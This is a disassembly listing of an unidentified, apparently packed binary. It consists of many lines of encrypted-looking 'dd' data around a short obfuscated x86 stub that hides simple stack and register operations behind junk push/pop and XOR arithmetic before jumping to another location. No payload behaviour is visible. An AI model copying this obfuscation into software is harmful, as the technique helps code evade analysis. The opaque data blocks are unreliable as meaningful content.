		dd 791E8E1Ch, 0CDD22AB0h, 0C7318B17h, 87B6BCFBh, 312A36B7h
		dd 61891E5Dh, 2EF5B2D9h, 5B8B10A4h, 40E9BECBh, 0BF940FBAh
		dd 895B40BCh, 6237FFFDh, 299536C2h, 0EC985A10h,	0E1E876B7h
		dd 0AF07BDBEh, 91003AEAh, 0C12AA8D1h, 7A43481Bh, 16C8FAF4h
		dd 29B1792Eh, 50A71BA2h, 4DF0A5C8h, 477B7002h, 39C91D82h
		dd 0F8C06C92h, 821CB1B9h, 911FCE06h, 25B7781Dh,	0E8B14D6Eh
		dd 9A24C7DCh, 0C207B4EFh, 11FC1FBh, 0FB885F16h,	0BFFB42A1h
		dd 0A7724B70h, 0E502D295h, 82391D56h, 6E69106h,	0C9E1F1E1h
		dd 0C0FB465h, 35000001h, 67482E8Dh, 0CFBCCFE5h,	2B0112ACh
		dd 0F5AA1A9Fh, 8F18A32Fh, 16A7D25Ch, 0FFA457C2h, 13A34358h
		dd 6514A044h, 592C913Ah, 0A7EA21ABh, 964F0A14h,	0C163203Eh
		dd 12D2B735h, 7B30386h,	0B901B9CBh, 479774FAh, 903BE8E3h
		dd 4FE07E2Dh, 58F93F93h, 34C36A03h, 7B127B08h, 98179F85h
		dd 7DE40BD2h, 373F7E46h, 0AB7DE40Bh, 41E2B5DEh,	21EA14B7h
		dd 0B161D5CBh, 0F0AFB403h, 6B20C343h, 3AA5DB58h, 0E6F863h
		dd 22378FBh, 9E2BB178h,	0CA2B4E05h, 0F426FB17h,	49722146h
		dd 0B5BFCC32h, 3B13BF0h, 2F12509Eh, 10C73E85h, 9232570Ch
		dd 58555B23h, 91C2CF9Bh, 0D60D12EAh, 66139950h,	2CBC6A3Dh
		dd 0D151029Dh, 8667B9A4h, 0FA4E4E71h, 0EF000000h, 4A4FAD41h
		dd 0F79C1098h, 5156A638h, 0EAAF0D9Dh, 7E3DAF39h, 8812D96Dh
		dd 30BE6F34h, 8C12D7BCh, 2DB96B30h, 1E9D25CFh, 36B78558h
		dd 1FF8FCCh, 474CA02Ah,	3DC51DA5h, 1EA89666h, 0ADD76389h
		dd 9653680Eh, 8C2FDC3Eh, 8C3DC91Bh, 984DD517h, 13767F0Ah
		dd 0CDB1F2DDh, 0C6366D36h, 0DAD97AF0h, 3E963894h, 0F57D3C08h
		dd 693E9637h, 14A0F3A0h, 0BAD99BA5h, 30952E5h, 5D40BEDDh
		dd 0E877390Ch, 15A14358h, 0FF0C7266h, 91554A7Ah, 0F72D7A01h
		dd 61C7D0BDh, 0BEFDF7DDh, 0F79532B8h, 5F345F2Ch, 0DC64888Dh
		dd 0A8FB7E06h, 0F3A02EFFh, 0F0E0F7C6h, 79714BC4h, 8AF66931h
		dd 0A54067B3h, 0CA1AA3A1h, 42CE1EDDh, 0BBFAC26Ah, 0FF1E2DB3h
		dd 2DA8CEEDh, 6F1CFF1Eh, 0EBD2E47Fh, 9A0A9B15h,	3FE5C2C9h
		dd 4DA106B3h, 0EC6C0CBDh, 0A02C00FBh, 19A5474Ch, 32870h
		dd 7A0000h, 9B2F01BEh, 0E773B9EEh, 961CC5E2h, 0E371B4F3h
		dd 901AD1D6h, 0DF69BAE9h, 8919CDDAh, 0F284A300h, 820AE0C7h
		db 0F7h, 99h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		sub	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		push	1142h
		mov	[esp], edx
		push	5EAEh
		mov	[esp], ecx
		push	edi
		push	ebx
		mov	ebx, 1B1034EFh
		mov	edi, 60B2ADF7h
		sub	edi, ebx
		pop	ebx
		mov	edx, 427CC7B4h
		xor	edx, edi
		pop	edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	edx
		push	esi
		mov	esi, 47195D20h
		xor	[esp+4], esi
		pop	esi
		pop	dword ptr [ecx+8]
		xor	dword ptr [ecx+8], 47195D20h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_63555E
; ---------------------------------------------------------------------------
		dd 0FCAE5FA0h, 0CF31B8DBh, 0C50307DEh, 1627E0FFh, 0A3ED386Fh
		dd 0CA2A34DFh, 2A5D0CBCh, 0E8D87917h, 0BCA43CBh, 4B1C47DDh
		dd 0C4C90C4Fh, 87731F34h, 9B2961D3h, 0AFBB3E04h, 1F954DC4h
		dd 0CC14663Dh, 33C66B80h, 89423C75h, 60DF683Dh,	98EE7AAAh
		dd 0D89B64E1h, 2E0475EAh, 33F60AB3h, 3C675668h,	8D8D5065h
		dd 7DED0B8h, 0EE960h, 0A8E10000h, 267497ECh, 670C0F60h
		dd 977E97A6h, 11E9h, 9EF7D300h,	822F22A2h, 34AF6D55h, 0C6BBE407h
		dd 8961B6FFh, 0D329418Dh, 56006A07h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0F05C5B15h
		dd 0B58B104Dh, 7D32DC5h, 2BA185C7h, 612C07D3h, 0BD890000h
		dd 7D30AD5h, 331185C7h,	7D3h, 66600000h, 29768BB8h, 0D30AA59Dh
		dd 0B5FF6107h, 7D32D29h, 2381858Bh, 95FF07D3h, 7D32D3Dh
		dd 6AF78Bh, 301995FFh, 0C08B07D3h, 0F0281FEBh, 2FB436D9h
		dd 9DD99924h, 8D47F43Dh, 9DD59B25h, 0BC32E7C1h,	104C3994h
		dd 260B08F4h, 0DDE98Dh,	23E10000h, 9CD73065h, 0C8C3CA45h
		dd 0ABDAB6E1h, 0B395A7ACh, 0A1F44592h, 0DA00B395h, 20A7ECABh
		dd 6BB2915Dh, 2096B1F4h, 9B552075h, 0BCF26BB7h,	0A19692A5h
		dd 603A7594h, 329FB799h, 0E9B599BDh, 92A59CB2h,	95ACA3F2h
		dd 97B1EF76h, 0B4F94E00h, 5C009FA5h, 4AF07B6Bh,	0D0008A92h
		dd 0F545F352h, 79A3F653h, 0F144D6D9h, 0F445E3AFh, 0D77D41h
		dd 0BF9792B0h, 60FD756Bh, 0F996BFCFh, 20B293BCh, 9B57207Dh
		dd 9492ABF7h, 0E3B29EBDh, 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh
		dd 0F66DB4EEh, 93BCE1B6h, 97B3ED72h, 0F1B6D000h, 0F0A8CD43h
		dd 0
		dd 9D744700h, 99E0E312h, 5Eh, 8	dup(0)
		dd 0E9000000h, 1BB3h, 0DED42468h, 5962E907h, 9568FFF9h
		dd 0E907DED5h, 0FFF95958h, 0DED68768h, 594EE907h, 3C68FFF9h
		dd 0E907DED8h, 0FFF95944h, 0DED8F368h, 593AE907h, 68FFF9h
		dd 0E907DEDAh, 0FFF95930h, 0DEDAD868h, 5926E907h, 0BF68FFF9h
		dd 0E907DEDBh, 0FFF9591Ch, 0DEDCEA68h, 5912E907h, 0BC68FFF9h
		dd 0E907DEDEh, 0FFF95908h, 0DEE01B68h, 58FEE907h, 0F968FFF9h
		dd 0E907DEE1h, 0FFF958F4h, 0DEE31F68h, 58EAE907h, 1868FFF9h
		dd 0E907DEE5h, 0FFF958E0h, 0DEE68468h, 58D6E907h, 3868FFF9h
		dd 0E907DEE9h, 0FFF958CCh, 0DEEABB68h, 58C2E907h, 2973FFF9h
		dd 41C78FC4h, 30777FF4h, 5DC88EC3h, 337383F0h, 0FDB495BEh
		dd 6A0768AAh, 0B8991E9Ch, 6B0869AEh, 0BC951A9Bh, 0E5169A1Fh
		dd 3AC573C0h, 5FE0671Bh, 48C995DAh, 9CFE73B3h, 0C93FE9B7h
		dd 0D4058B0Eh, 3BCD5292h, 60F27BE0h, 564B22F4h,	5563C6DAh
		dd 4B27FE27h, 9172B2D2h, 89AFADC0h, 5CF641A2h, 0A44550D0h
		dd 783B13E6h, 7EC4C3F4h, 247618C5h, 0E90564Bh, 90E6E2A9h
		dd 2FE9622Ch, 77D6571Dh, 609D64E0h, 630A3B26h, 0BD6DA536h
		dd 1414CC09h, 7Ah, 0C85333F6h, 0C4440A63h, 2E8C1E6Fh, 51C7515Fh
		dd 93370A86h, 0D2D8B46Fh, 9DABC520h, 24DD5C2Ah,	66FC91E6h
		dd 64273B54h, 5D362568h, 17EF62B1h, 0F0482390h,	8958511Eh
		dd 0AF6781D6h, 0ACA8C32Bh, 22AB6DA1h, 0EF07FACBh, 8FF06FB6h
		dd 7813A50Ah, 460C71FCh, 0BD722E0Ch, 3AB20356h,	6C756633h
		dd 0FF7A7E95h, 0E5E1921Ch, 9A1798AEh, 0C86A0197h, 9CF29756h
		dd 0EB7Bh, 53339D00h, 0EC2D29D3h, 57CB1750h, 57162C41h
		dd 64298E0Fh, 5617981Ah, 652A8F10h, 0B8E39819h,	7FF03153h
		dd 0F4813819h, 51EF3F78h, 6B0294CDh, 0E4FBE6EDh, 4C680705h
		dd 3955B5D5h, 5E10933Ah, 37B8F9FFh, 66CB4C1Ah, 50D2B029h
		dd 16008CDFh, 409319A0h, 0F1EBBDC6h, 0FCDBE82Ch, 42E9C581h
		dd 1C348274h, 36BA3F7Ah, 52704305h, 5AB5B85Ah, 0EBEE64C6h
		dd 347C976Eh, 0EF8E3F01h, 0F266209Ch, 88154022h, 85EF2B5Ch
		dd 0B4C90609h, 9ABC3A3h, 41B6F8CEh, 3FC44610h, 64F677E4h
		dd 2A8E1036h, 7D4A6FC3h, 1898C3h, 0FB60BC00h, 0AB089056h
		dd 0FC79C0C6h, 0A7148F57h, 0F57ABCCAh, 61467D5Ch, 0D3A3D021h
		dd 6571E257h, 0D4A2CF20h, 0D675DE53h, 0BE9CCD63h, 0E2F1C573h
		dd 0D7533330h, 0C1410D62h, 0FB434A70h, 491D36BBh, 100A67C8h
		dd 1F9A101Ah, 16DA2991h, 8101E1CCh, 404B5F30h, 20CDC244h
		dd 3FC1BDDAh, 2AC4AB3Eh, 0C3442297h, 4589216Eh,	0A4863614h
		dd 6CC4C769h, 0F6CCC5CAh, 172B44B5h, 2568C94Dh,	0A929D0A7h
		dd 301E81F9h, 0DF5B8066h, 0EDAD0DC6h, 0F6910C93h, 64C90CBEh
		dd 111C552h, 0E0D30000h, 1061A65Fh, 370B77Fh, 0D8C2D86Ah
		dd 0B64FCF97h, 0D7980273h, 72AA6D9h, 0FA4A471Eh, 8B079C20h
		dd 1EBCC892h, 0F778B97Fh, 0A60B8C5Ah, 0A24DD7E9h, 9C30299Dh
		dd 0EB8B36Bh, 397EEC0h,	0CE09AFC4h, 0B20DB7F8h,	267D4B07h
		dd 0F48607B1h, 3DA82499h, 0EE32F66Bh, 0F27B970Dh, 0EA40EE8Ah
		dd 29F89601h, 0F3677A16h, 946CFFF2h, 0A779DABCh, 45D0077Dh
		dd 0E1A98EC7h, 3A51E385h, 51FC947h, 0A44EB57Fh,	4C90EF7Ah
		dd 0B48C3276h, 0C11949A3h, 0CC2C3F59h, 0EC828B50h, 2608E0A2h
		dd 0D96026B3h, 344A135Ch, 0A99C45DAh, 0DDA5E8D2h, 0D52AFB5Dh
		dd 1AED2495h, 23104985h, 9F6572E7h, 0BDD59A1Fh,	1594BDDBh
		dd 2467C84Dh, 0E227DC5Eh, 71392B8Dh, 616F1A87h,	1727DA8Eh
		dd 0D14B0000h, 0B9FF076Ch, 0C84F173Ch, 0A500066Bh, 0CB4B1B38h
		dd 95EC0D66h, 321F9012h, 0E091E624h, 33209116h,	0E48DE223h
		dd 0D3ED287h, 62C573BEh, 5EE07F93h, 2D6E78D9h, 0E0F3A7CCh
		dd 7DFDA5Fh, 215E2D82h,	0EE63D455h, 0C82D6B3Bh,	0B93A7DC5h
		dd 0C8296AB4h, 0C10DB7ABh, 5AD6E157h, 913490B8h, 596FE4D7h
		dd 0F7380E45h, 3D39EB82h, 2E5D00F0h, 168B2D45h,	0DFE5007Ah
		dd 0A9CF2F8Ah, 8E0AA245h, 1384516Ch, 6A9B31A4h,	0D0027ECFh
		dd 0AD51536Ch, 0BADC546h, 0A0CA880h, 0F2D04594h, 1B2F40B1h
		dd 7835450h, 653D90C6h,	0A5BDD223h, 0DE52EAE6h,	314D3A16h
		dd 0D58B7D20h, 622B0DE5h, 5B5ED456h, 0DF92A7D5h, 0F463564Ah
		dd 64602862h, 0D99BB814h, 991EE467h, 67C84E18h,	6F6A4C24h
		dd 0B0A11697h, 5FE065A6h, 9BFD95DAh, 0CB1D07A9h, 0F42CFBA4h
		dd 1635h, 0F95AC359h, 294AABEDh, 0F859DA5Dh, 2D46B7EEh
		dd 0FB58D959h, 8204A3DEh, 0F432442Dh, 8308CE83h, 0F031452Eh
		dd 0C079D27Fh, 73BCFB2Ch, 8D8150C5h, 64A65FE0h,	0D5D9E4DEh
		dd 4157D617h, 0A08A1657h, 3E21AF2Ah, 0E8282BDCh, 58159E1Ah
		dd 942D2B42h, 51380253h, 4ECCBBD5h, 0C4567EC6h,	0A117018Fh
		dd 7C9A9A16h, 1CB92580h, 0E1DF4846h, 57A30865h,	0BDA5D9Eh
		dd 0C9067277h, 5ADFA5D9h, 0A7BE96D5h, 0B5762E07h, 0AF008543h
		dd 0CCEECCDEh, 1186C5C3h, 0D137450Fh, 893078A6h, 6B774EB8h
		dd 7A096825h, 0CB013778h, 70C8A32Ch, 547DC4B4h,	8D088FD1h
		dd 9D64F1FAh, 8B30A7CDh, 9ACBE313h, 0EFC15045h,	7A2C4E1Dh
		dd 577DA090h, 69h, 7101A180h, 0CB37633Ch, 53338EC0h, 7D0B62D7h
		dd 1EB2259Bh, 6E6929C4h, 685CB163h, 0BA48042Dh,	0E2C6844Eh
		dd 602D8204h, 1E9434Ah,	5DDAA82Fh, 0AEB977DCh, 0DFD1BBF8h
		dd 0BCE514B5h, 9576C480h, 0B3C99BADh, 272EC872h, 49E0254Bh
		dd 0B7F4026Fh, 7D9ACB61h, 1DEF9B89h, 71653C7Bh,	9BCB4CA8h
		dd 550B4823h, 1501h, 9A101A23h,	53A7911Fh, 0FE56D7EBh
		dd 6971DE76h, 581AB64Dh, 0E2C07337h, 29414EA7h,	0B1280A62h
		dd 72DF50D1h, 0C1CE2364h, 35BEFAC8h, 0FD32BC2Eh, 588E7AAh
		dd 8037AD77h, 25E604ECh, 4A2F236Eh, 36F2073Ch, 9F77A548h
		dd 8E49EB43h, 510277B8h, 0DAB30485h, 0E3D64CCEh, 5E2D8203h
		dd 9318EE6Bh, 0DD514F1Eh, 0CFC0752h, 0A8FEA2C7h, 3643400Ch
		dd 38309753h, 1050F056h, 87487285h, 1480D1h, 1378A400h
		dd 0A310985Eh, 1461A8AEh, 9F0C975Fh, 0D62A4B2h,	792E8564h
		dd 0CB9BB839h, 7D89EA4Fh, 0CC9AB738h, 0EE8DE64Bh, 0BAB4E56Bh
		dd 0EA09C573h, 0C8F02A18h, 0DAA86AFDh, 1894D758h, 0DE33B4Dh
		dd 9B1826A2h, 0C550ED53h, 52930E47h, 0BAD163CDh, 0DE54D662h
		dd 69FF55DBh, 9E9EFC7Bh, 999E6488h, 58C56026h, 6CE88317h
		dd 54728D52h, 5C5B3D15h, 38800586h, 0FAA0B2BBh,	0AB0C8D59h
		dd 0DE54D6E2h, 99D25EDBh, 0EE434D82h, 0C94C414Ch, 3936BFF9h
		dd 0CC4E4A21h, 0FB03354Bh, 11EB346Dh, 129E7C38h, 9056CAD4h
		dd 0CDE5AA0Fh, 0B4865EBEh, 0E376CCB2h, 114708C6h, 13C9h
		dd 2D46B7EDh, 0FD56DF59h, 2C45AEE9h, 0F95AC35Ah, 274CADEDh
		dd 0EE307752h, 981EE889h, 0EF2C3A17h, 9C1DE98Ah, 14A5361Bh
		dd 73BB5F98h, 0F1A5B4C5h, 95DA5FE0h, 7FB248C9h,	0ACECBED8h
		dd 0BA175842h, 0C5F67AFFh, 7FCD51B0h, 51B0B8F1h, 472B0DCDh
		dd 607B2665h, 9F317628h, 0C575B71h, 1A3D0000h, 9A1F9A10h
		dd 9358911Fh, 0BADCD52h, 363A0480h, 57E2D0B7h, 95ADA0D9h
		dd 4823F5BFh, 0F415B24Ch, 0B0B9758Ah, 0EA065271h, 531C811Ch
		dd 24FC2C3Fh, 405ADB5Eh, 3BACA879h, 1A7420D1h, 0E883159Eh
		dd 0B6CAD75h, 6105F5CCh, 0A9D549B8h, 3C7D89E2h,	0C82556DAh
		dd 987A0530h, 2DF46D02h, 0F51BE3E2h, 76F27912h,	88367913h
		dd 0AFD944C4h, 0B433F3Ch, 4E242967h, 0B8FEA872h, 0DA566137h
		dd 0CE0EB34Fh, 31D4B889h, 0FC88F6E9h, 0B6BFF371h, 972A9C7Fh
		dd 355D8E22h, 0E0B27B5Bh, 775C0F8Dh, 51C92B06h,	52D585BFh
		dd 42050719h, 12BC0Eh, 0D744E000h, 0C72C6C7Ah, 0D85DDCAAh
		dd 0CB306B7Bh, 0D95EE0A6h, 7D2A6178h, 0CF97BC3Dh, 798DE64Bh
		dd 0D096BB3Ch, 0F289EA4Fh, 0B8B0E967h, 0F605C573h, 0DA5FE024h
		dd 97451C95h, 417AF6B2h, 96CD51E7h, 0ABDC6104h,	3273BBD2h
		dd 1CD1B0BDh, 0A0C3A2ABh, 0BA279DE2h, 30A2C4C7h, 0A1719E83h
		dd 0B49h, 0DEB02AE7h, 1DFDD6Bh,	3C583A10h, 0F57EB989h
		dd 0D8BE278h, 24F8F36Ch, 3DB37541h, 8265F67Ah, 239673A6h
		dd 5DF118D7h, 0DAB30485h, 0E763C5C8h, 0A9EE654Eh, 5FDAA81Bh
		dd 0A50A90D6h, 0DB778EE6h, 0BA37A283h, 9672D886h, 0E940C5CFh
		dd 0F93A08CFh, 8A0BDB78h, 0CE586825h, 0BFCB6158h, 0EEC3DDB2h
		dd 7A95425Dh, 0E2457632h, 0BA92140Bh, 0BFB46ED8h, 27E8EF3Eh
		dd 11E471h, 2F9C0800h, 7FF43442h, 308504D2h, 83E83343h
		dd 318608CEh, 55522940h, 0E7EF64D5h, 51254EA3h,	0E8EE63D4h
		dd 0CA2152A7h, 0B948810Fh, 0BE9DC573h, 0DA5FE0CCh, 0E748C995h
		dd 0B2D311F0h, 0F392E727h, 0EE5BEF9Eh, 0DFE5CBC7h, 9FDCAF09h
		dd 41BE8742h, 740CC54h,	5CCD5209h, 0C60DABBAh, 2C9FCAA1h
		dd 0B7514223h, 0A747D368h, 0E0AB0D62h, 9ECD0CBEh, 0A5BC571h
		dd 33D30000h, 0E5FD453h, 0C163F17Ch, 0F008C4Bh,	30B39D88h
		dd 70F505E7h, 0F445C1A1h, 0A7CBE799h, 0E2FF9971h, 0A310976Fh
		dd 5BB5B8CAh, 0E728FEB9h, 9415E192h, 714E4A23h,	2203EA6Eh
		dd 0EBCBDD47h, 0E839C8C4h, 22FEF75Bh, 0B93782F8h, 0BD447BD9h
		dd 5455D378h, 4880D67h,	66534CD3h, 55078628h, 2C050839h
		dd 8B2D4501h, 5DE9C5D9h, 0B66A3DFDh, 10FDh, 0E192FB21h
		dd 31229315h, 0E091E225h, 351E8F16h, 0E390E121h, 0BAFCAB06h
		dd 0CC4A1C35h, 0BB00066Bh, 0C8491D36h, 0E8710A67h, 73B83364h
		dd 956988C5h, 702E5233h, 4708B20Fh, 0B2D1919Dh,	0AAC1D16Dh
		dd 0BCE2364h, 99AE613Ah, 71CD9819h, 6DAAC179h, 0C80F60A1h
		dd 9F86BF4Dh, 39DBCD51h, 2194F532h, 9FDF1894h, 6234CD51h
		dd 356D5E0Bh, 719F4285h, 9744Ch, 53334E00h, 750D62D7h
		dd 73857AF6h, 7AB6C884h, 0CD68F552h, 90921001h,	0D741CD04h
		dd 687E82Dh, 0AEE76574h, 3E49011h, 0BC508731h, 9A70F4ACh
		dd 72F54FDBh, 0A99E1A3Bh, 66182A16h, 9AFE12F3h,	0B4B93E80h
		dd 9511C79Eh, 64360E5Dh, 8702E055h, 8549612Eh, 0F8292954h
		dd 0DD52D3A9h, 38BDB0BBh, 0C3CC2D6Ah, 0B5BA3F7Bh, 0AA70FB9Dh
		dd 9B6B0869h, 0C8D8951Ah, 10F1E85Eh, 65C0E43Ah,	80E377F8h
		dd 511CF052h, 0E308D95Ch, 0EEF156F0h, 0EB322E3Dh, 0A5052FBAh
		dd 93DA5BDDh, 730B7215h, 53D6ACA5h, 0EDA98BE2h,	8EE79299h
		dd 2422F4DCh, 6B197042h, 0D237F1BEh, 0F600000Fh, 42143DAEh
		dd 0F2046DC6h, 41153EB7h, 0F60071DAh, 3B0E43B4h, 92E72780h
		dd 209115E1h, 91E62333h, 249516E0h, 8F1D9C2Fh, 0C573B756h
		dd 0E0BACCABh, 4CC2A55Fh, 2D38BDFCh, 8ED8505Ah,	7F10AA0Bh
		dd 6C0176B7h, 0D834A7D2h, 8971E257h, 719EAD19h,	7DF2370Fh
		dd 47135AF0h, 1C4h, 0D2533351h,	0C7480E5Dh, 1F9F6772h
		dd 0CA94D39Ah, 0B58BE849h, 0E64FC973h, 0CA8705D4h, 6BF3C3ECh
		dd 0F3DD814Fh, 0A8C92E4Ah, 668ED09Bh, 0F5BDBBD4h, 94E5219Eh
		dd 9236A450h, 368A29F8h, 81F12DB3h, 758E0AEAh, 9F78FED4h
		dd 9BF247C7h, 0ED7FAC1h, 0DA4783B6h, 0B07114D8h, 0B9AC4921h
		dd 0D7EABC2h, 0CAFB9104h, 3168DE3Fh, 9CF83F4h, 4594268Fh
		dd 0DE3F8EC7h, 3A51E368h, 12A2A618h, 5F2BD6h, 1A6D0000h
		dd 0CE3F6610h, 9968EDECh, 9232C5C7h, 0F8DE016h,	0BA36EAA3h
		dd 5FB488C2h, 894FDB78h, 0D438FC7Eh, 0C79F1AFCh, 0DC9BF247h
		dd 90B04BDCh, 1BD57CCDh, 8E1A8BAAh, 29F97FCFh, 6A389D24h
		dd 0B3C7C829h, 0E21AADD8h, 15F85E70h, 0E561h, 9E20E600h
		dd 0CF5D5419h, 28F88396h, 1C6F49EBh, 0D553336Ah, 0E87B0F60h
		dd 62FB063Eh, 0F9414C55h, 0F03637B8h, 0FA4449AEh, 0A08138B9h
		dd 0B07A5D3Fh, 30EF7E43h, 1F54A5E6h, 44B49A1h, 0B966F8F0h
		dd 0A629AB92h, 63C85333h, 0FF38780Ah, 548B92B6h, 22ADABC2h
		dd 0F4AF7CAh, 0EA87E829h, 5B5ED456h, 2B58BD5h, 0D44E2A2Bh
		dd 0BDB9B2D3h, 73B7EC30h, 5463352Dh, 36770C8Eh,	2762ACC1h
		dd 0FA9C1CEh, 7CBEC8A9h, 3B7902C6h, 3278A042h, 9AB0BDh
		dd 390233B9h, 0B5576396h, 9E9961E3h, 46095FC9h,	0E0012h
		dd 93F82400h, 239018DEh, 94E1282Eh, 1F8C17DFh, 8DE22432h
		dd 0F9AE05E4h, 4B1B38B9h, 0FD096ACFh, 4C1A37B8h, 6E0D66CBh
		dd 0B53465EBh, 6A89C573h, 0A55EE098h, 0EA800D7Eh, 4961B9Ch
		dd 0B106874Fh, 5FE0CAC0h, 48C995DAh, 9E8E8AE7h,	0CC000006h
		dd 8065101Ah, 0FAA2393Eh, 0C1327610h, 0B50496ACh, 454AABEDh
		dd 5FCC572Dh, 6313990Ch, 12B32FD8h, 0A89D7537h,	7C99C08Ch
		dd 0F3D38572h, 0FA2A41B6h, 81FF9022h, 3CB9CC30h, 96717BD1h
		dd 0A8DAF6EEh, 508AE286h, 70E47C5h, 0D16369BDh,	15945ABAh
		dd 287CFA0h, 0DE0ADh, 59445F87h, 0CF94063Eh, 73DD533h
		dd 4B000003h, 21099E2Ah, 0BD53C642h, 11FC068Ch,	0EC5A1AE1h
		dd 135E9FA3h, 8CEAE6A5h, 0F70ACBB5h, 0D3361B7Bh, 48D26EC7h
		dd 0F30D8A9Dh, 3486E1ACh, 736927A5h, 0D0823DAh,	0DABF6356h
		dd 9F984C5Eh, 3DCF4778h, 76CAC7Ah, 0F0311184h, 2369387Fh
		dd 6639D6F1h, 491DF675h, 81F633C8h, 0E50F56ECh,	34085492h
		dd 71FF902Ah, 2AA631A7h, 12457B57h, 0FB5667F8h,	91049115h
		dd 0F64DCAFBh, 418D1F05h, 5F64E08h, 58B0BB5Dh, 42F8DCCCh
		dd 2DF4A7ADh, 0BFF10FC8h, 0D8537AFBh, 6CF0441Fh, 3FD12B42h
		dd 54160305h, 40F8B798h, 0CA1h,	85EE5FC5h, 95BE3771h, 84ED46C1h
		dd 91C22B72h, 7FF445C5h, 16980F6Ah, 60A6B0A1h, 1794620Fh
		dd 64A5B1A2h, 4C0D5E13h, 73B287C0h, 9FDDCC5h, 95DA5FE0h
		dd 0E213991Ch, 37CD5292h, 0CF501655h, 66EA6F6Ah, 0CD529335h
		dd 0D39C019Ch, 6A0193BFh, 0F5E691ADh, 0EF9516ECh, 5EEB7B0Eh
		dd 236A5024h, 0E521DA5Bh, 44B5F294h, 9D0DFD56h,	34719E5Dh
		dd 1EAh, 0E849CD95h, 5333F1A5h,	450D60D5h, 541A73C4h, 1BF55ED3h
		dd 0B83483F9h, 392AF426h, 8CE38445h, 0CE4DD9CDh, 9B837F4Ah
		dd 58D95A28h, 10E88317h, 0A978F17Eh, 0FA0D1DECh, 2059D7B7h
		dd 75735A41h, 0FA76F5A3h, 6DDAD55Bh, 2CB4A67Ch,	8975112Ah
		dd 84E3FEC4h, 0EF27A0FDh, 5AF2A03Fh, 5E92h, 101A7800h
		dd 0CC9A1F9Ah, 0DA5EA4Fh, 0AA0B027Eh, 0B23C205Dh, 75DB1970h
		dd 2F6B88B9h, 9B7DF5C6h, 0E479D6D2h, 32A88EBh, 0D85E3040h
		dd 0E7057D4Ch, 8604CA24h, 96125C31h, 907D501Dh,	0E1F4CFF7h
		dd 59FD854h, 22F4F4E7h,	75AD1E4Bh, 4A09D0C5h, 0F50Ch, 88744D00h
		dd 0FA8D35B8h, 0E0F4A6E5h, 0C995DA5Fh, 0DFA7E849h, 0CA94D95Eh
		dd 0C58BE849h, 78F273C2h, 87D245F3h, 0AA78FDF6h, 0F3870869h
		dd 82C9AADBh, 5E2DFFF6h, 0ACD642FEh, 1E9105B2h,	0A1E4159Bh
		dd 129EE492h, 0E492A1D9h, 46E88C2Eh, 0F875FA40h, 0C2430B62h
		dd 0E5B0D838h, 7446E228h, 991A9D65h, 7DA779D2h,	0C63CD007h
		dd 0E5D3A851h, 0B8292B17h, 6BB9DE6Ah, 83639CCFh
		dd 0C6DCB106h, 770295C7h, 0AE61C0F9h, 0E883156Ch, 45C59D10h
		dd 61ABDCF4h, 2E006CAEh, 0FAC84D8Ch, 0EB8138B9h, 6CAE61BAh
		dd 28EE7D0Fh, 16E091E6h, 25212394h, 0DD68E1C7h,	0AC3560Ah
		dd 0BDE70000h, 0D5532350h, 0A4E3F360h, 0C954224Fh, 0A7E7EF64h
		dd 71482152h, 0CE83F436h, 442D8208h, 0CF84F532h, 40318607h
		dd 69A22EABh, 0BEC573B2h, 5EE0EB9Fh, 0E1C178D9h, 29414EA7h
		dd 169B1C62h, 52333D3Dh, 0C7760987h, 9AE0AB06h,	41219819h
		dd 5B1873C4h, 2C5DF366h, 81CD5277h, 0DE611F7Ah,	8A303602h
		dd 3738BDFCh, 81024823h, 42D9A930h, 0AC994D9h, 0FBBFF3B8h
		dd 0AD8605B3h, 330EBh, 101AA900h, 0BA911F9Ah, 6BBBA8EEh
		dd 0B1A49AC2h, 0B8C43FFh, 21F99354h, 0BB8BFE8Fh, 0E179F67Bh
		dd 89670E8Ah, 2F08F250h, 7CA2FC5Bh, 39A2F9C9h, 88A33632h
		dd 19A05F6Fh, 24020B7Ch, 5CFE8DE2h, 0FF81CEEAh,	2CCE7h
		dd 4F2A3100h, 49152Ah, 1C36E96Dh, 9B845E5Ah, 0EBC7C4D2h
		dd 0A824B329h, 0E929C7C6h, 0A116986Eh, 68B0B6CCh, 1F04800Bh
		dd 0DC764189h, 1D3C3060h, 0B95B7327h, 92E728FEh, 239415E1h
		dd 66DC3E4Ah, 2518DD73h, 0E0B9C5CCh, 2D64805Fh,	0B146D71h
		dd 1EF0686Eh, 1DF12E28h, 631DEA49h, 99Dh, 81F25BC1h, 91C23375h
		dd 80F142C5h, 95BE2F76h, 83F041C1h, 1A9C0B66h, 6CAABC95h
		dd 1BA0660Bh, 68A9BD96h, 48116A07h, 73AF93C4h, 0F509E8C5h
		dd 95DA5FE0h, 0E0AA451Ch, 384EFD3h, 0DC61A268h,	8775A05Ah
		dd 7C4832C8h, 5F39511Eh, 8E09780Eh, 4B7C1085h, 0A0CD5235h
		dd 76B77F0Eh, 81EFB601h, 9CFC38F8h, 5DDC3736h, 612354D8h
		dd 6278CD52h, 0A1ECCE27h, 9E754DFDh, 1EF8471h, 0E0860000h
		dd 1C95DA5Fh, 36370445h, 0E8E47FF0h, 0BB830A19h, 5F98147Ah
		dd 0B4CD51DFh, 59BB8E2h, 0AF2AAD23h, 6CAE57D7h,	0CAF0820Bh
		dd 0E2DEADC5h, 317F3EC5h, 932987E6h, 0D46041CBh, 0CD1DA974h
		dd 0BA76D695h, 8B567EF2h, 1EB2253Dh, 7B35FEEDh,	76FB3C42h
		dd 613761F9h, 0C3948C0Ch, 0A3B3A2D3h, 76684DCBh, 639D43BAh
		dd 0C8910F4h, 4F93437Bh, 933E4B8Eh, 4C000000h, 0F12AA633h
		dd 46CD5292h, 2476FB40h, 63D93B49h, 188ED854h, 0A93DD58Ah
		dd 64B95BC5h, 0AFE864F1h, 4895B3Ah, 235D5B32h, 667F49B2h
		dd 219613F3h, 4F20F24Ah, 0E69F8B5Ah, 82EBF81Eh,	0CCDEAF00h
		dd 7D219FEEh, 0B59A54E4h, 0DB7BAC40h, 3ED07933h, 1720312Fh
